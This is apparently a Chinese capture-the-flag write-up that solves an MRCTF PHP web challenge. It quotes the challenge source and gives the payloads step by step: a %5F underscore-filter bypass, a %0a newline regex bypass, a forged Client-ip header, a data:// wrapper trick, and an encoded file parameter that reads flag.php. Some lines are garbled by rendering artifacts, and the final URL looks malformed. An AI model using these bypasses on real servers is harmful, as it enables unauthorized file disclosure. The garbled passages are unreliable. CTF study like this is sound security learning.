打开之后
源代码
$query = $_SERVER['QUERY_STRING'];//
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
关于$_SERVER[‘QUERY_STRING’]取值,例如:
http://localhost/aaa/?p=222
$_SERVER[‘QUERY_STRING’] = “p=222”;
substr_count()函数计算子串在字符串中出现的次数
子串区分大小写
上述代码不能出现’_‘和’%5f’,可以用‘ ’或‘.’或‘ %5F’绕过
通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中’^‘和’$'代表的是行的开头和结尾,所以能利用换行绕过
?b%5Fu%5Fp%5Ft=23333%0a
打开secrettw.php
查看源代码
jsfuck代码
复制注释中的代码到控制台
回车
随便post一个值
?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
可以简单的分析出secrettw.php的作用
首先用if(isset($_POST[‘Merak’]))函数检测是否存在参数名为Merak的POST数据,如果不存在则执行下面的语句,如果存在则执行if中的highlight_file函数高亮显示源码
我们已经通过POST提交Merak知道了源码,后面就不用再提交POST了,不然会被highlight_file函数截断,继续看下面的语句,中间的change函数暂时不管,是转换字符用的,后面会提到
后面的i p = g e t I p ( ) ; 应 该 是 使 用 了 头 部 的 t a k e i p . p h p 中 的 函 数 来 获 取 客 户 端 i p , 再 将 获 取 到 的 i p 赋 值 给 变 量 ip = getIp();应该是使用了头部的takeip.php中的函数来获取客户端ip,再将获取到的ip赋值给变量ip=getIp();应该是使用了头部的takeip.php中的函数来获取客户端ip,再将获取到的ip赋值给变量ip
如果满足$ip!='127.0.0.1’则执行该if内的语句,但是这段语句没什么用,所以我们不用管,第二个if内的语句才是我们需要执行的
第二个if的判断条件为
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
也就是说需要满足两个条件
第一个条件$ip === ‘127.0.0.1’,这个很容易满足,只要让get_ip获取到的值为127.0.0.1就行了
使用Client-ip
第二个条件
file_get_contents($_GET[‘2333’]) === ‘todat is a happy day’
首先通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,所以,经过到百度上各种CTF技巧的查找,发现这里可以使用data:// 来进行转换,具体用法可以参考:https://www.php.cn/manual/view/285.html
格式为data://text/plain;base64,将todat is a happy day进行base64编码得到
dG9kYXQgaXMgYSBoYXBweSBkYXk=
所以需要通过get提交一个名为2333的参数,值为
data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
第二个if内的语句
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file']));
还用到了一个名为file的get参数,用于返回文件内容,我们需要知道flag.php的内容,所以这里需要file_get_content的文件是flag.php
但是这里要注意file_get_content函数不是直接使用的$_GET[‘file’]的值,而是用到了上面说到的change函数来转换,我们来看一下change函数的作用
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
首先定义用法,然后将变量进行base64解码(这说明后面POST参数file的值必须先进行base64编码),然后通过一段for循环,这段for循环的作用是先将字符转换为ASCII码,再将ASCII码逐步+ i ∗ 2 , i*2, i∗2,i初始值为0,然后再转回字符
其中strlen函数作用是计算字符的数目,chr是把ASCII转成字符,ord是把字符转成ASCII数字
经过对照ASCII码表和计算,我们需要传递到file参数的值为“fj]a&fb(flag.php经过change函数转换为fj]a&fb)”的base64值,也就是ZmpdYSZmXGI=
url
67addde2-0772-4de8-b9f5-7336ebac9d37.node3.buuoj.cn/secrettw.php?/file=ZmpdYSZmXGI=&2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
MRCTF{c323e009-6f72-410a-9dff-96686b411977}